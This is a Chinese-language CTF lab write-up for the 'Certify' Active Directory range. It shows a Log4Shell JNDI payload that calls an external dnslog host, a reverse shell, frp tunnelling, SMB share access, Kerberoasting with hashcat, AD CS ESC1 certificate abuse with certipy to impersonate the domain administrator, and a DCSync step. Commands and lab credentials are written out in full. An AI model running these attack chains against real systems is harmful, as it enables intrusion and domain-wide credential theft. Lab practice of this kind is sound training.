春秋云境 Certify

域渗透·学习

再碰春秋云境已经过去好几个月了,偷偷吐槽一下感觉真心有点贵(

外网打点

首先用fscan对靶机进行扫描,发现8983端口有solr服务,打开网址查看

打开之后发现网站启用了log4j2,可能存在JNDI注入漏洞,CVE-2021-44228

漏洞的主要原理是log4j开放了lookup功能

1
Log4j2的Lookup主要功能是通过引用一些变量,往日志中添加动态的值。这些变量可以是外部环境变量,也可以是MDC中的变量,还可以是日志上下文数据等。

而lookup功能是可以支持jndi

1
2
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。
JNDI注入主要是用过下载远程class,来运行恶意代码。JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。

简而言之就是jndi可以加载服务器的class来运行恶意代码。

知道原理之后我们来进行一个简单的验证,打开www.dnslog.cn,构造

1
http://ip:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.ee7tg0.dnslog.cn}

接下来就可以在dnslog.cn收到solr服务的java版本。


由此看到确实存在jndi注入漏洞,接下来就按照网站的文章进行复现就好了。

参考了一下这位师傅的文章

1
https://www.cnblogs.com/meraklbz/p/18398600



成功反弹shell之后发现是普通用户,需要提一下权,sudo -l一下,发一下grc可以无权限使用root命令,查了提权用法

可以获取到第一个flag

内网穿透

上次尝试了frp但是一直没有成功,用了别的工具,这次重新学习加上高人指点,竟然轻松成功了。
首先在攻击机和靶机shell上下载frp,本机是服务端,靶机是服务端可以当作跳板机访问内网,简单配置一下frpc.tomlfrps.toml

ftps.toml内容

1
bindPort = 7000

frpc.toml内容

1
2
3
4
5
6
7
8
9
10
serverAddr = "vps ip"
serverPort = 7000

[[proxies]]
name = "test-tcp"
type = "tcp"
plugin = "socks5"
localIP = "127.0.0.1"
localPort = 1234
remotePort = 1080

注意remoteport是我们访问内网服务是访问的端口。
简单配置一下proxychains4就可以轻松开始进行渗透了。

smb 文件共享

在shell里面下载fscan之后,先查询一下地址,进行内网扫描
整理一下有用的信息

1
2
3
4
5
172.22.9.7 DC域控
172.22.9.13 CA域成员机
172.22.9.19 solr服务器
172.22.9.26 域成员机
172.22.9.47 文件服务器





发现在445端口有smb文件共享服务,简单科普一下

1
SMB(Server Message Block)文件共享服务是一种网络协议,主要用于在计算机网络中提供文件、打印机和串行端口等共享服务。它是一个应用层协议,允许在网络中的计算机之间共享文件、打印机以及其他资源。SMB协议通常运行在TCP/IP协议栈之上,默认端口为445。

可能存在未授权访问漏洞,使用脚本尝试连接

直接就连接成功了

secret下找到了flag02,并且获取了personnel.db文件

get命令下载这个db文件之后在本机上打开,发现分别有一个表是用户名等信息,还有一个表是公开的密码和隐藏的用户名,联想到刚才的域成员机,可能可以进行rdp远程桌面连接


将用户名和密码保存之后进行爆破,成功爆破出账号和密码

1
2
zhangjian–i9XDE02pLVf
liupeng–fiAzGwEMgTY

尝试RDP,但是没有登陆成功

在flag02里面提示了spn,简单科普

1
在渗透测试中,SPN(Service Principal Name)是指用于唯一标识一个网络服务的字符串,它与Kerberos认证机制密切相关。SPN通常用于将一个服务(例如数据库、Web服务等)与一个特定的账户关联,以便在Kerberos身份验证中,客户端能够识别并正确地认证该服务

先枚举spn

1
proxychains4 GetUserSPNs.py -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf

我们可以通过脚本将spn返回的票据进行明文爆破,以获取到对应的明文

符合看了下hash类型,符合13100

保存spn爆破的凭证,用hashcat爆破出密码

1
hashcat -a 0 -m 13100 spn.txt rockyou.txt


可以成功rdp,但是权限不够我们需要管理员权限,下载了certify之后,扫描证书漏洞,发现ESC1,这是一种 AD CS 漏洞,允许低权限用户申请高权限证书,最终伪造身份攻击 DC。

有三个条件则符合ESC1

1
2
3
4
5
msPKI-Certificate-Name-Flag:ENROLLEE_SUPPLIES_SUBJECT

mspki-certificate-application-policy:客户端身份验证

Enrollment Rights:XIAORANG\Domain Users

可以申请 XR Manager 证书模版并伪造域管理员

1
proxychains4 certipy req -u 'liupeng@xiaorang.lab' -p 'fiAzGwEMgTY' -target 172.22.9.7 -dc-ip 172.22.9.7 -ca 'xiaorang-XIAORANG-DC-CA' -template 'XR Manager' -upn 'administrator@xiaorang.lab'

申请证书之后获取 TGT 和 NTLM Hash

1
proxychains certipy auth -pfx administrator.pfx -dc-ip 172.22.9.7

使用 administrator.pfx 证书进行 Kerberos 认证,这是一种 Pass-the-Certificate(PTC) 攻击。
然后进行DCSync 攻击,获取窃取域控的 NTLM 哈希,获取整个域的控制权。

1
proxychains4 certipy auth -pfx administrator.pfx -dc-ip 172.22.9.7 2>/dev/null
1
2
3
DCSync攻击原理:
模拟域控服务器,同步域内用户的凭证信息(如NTLM哈希)。
域管理员权限才能执行。

然后进行横向,获取到最后两个flag

因为是windows的shell注意要用一些windows的命令,可以用type

1
type 是 Windows 命令行中的一个命令,用于显示文件的内容
1
type c:\users\administrator\flag\flag03.txt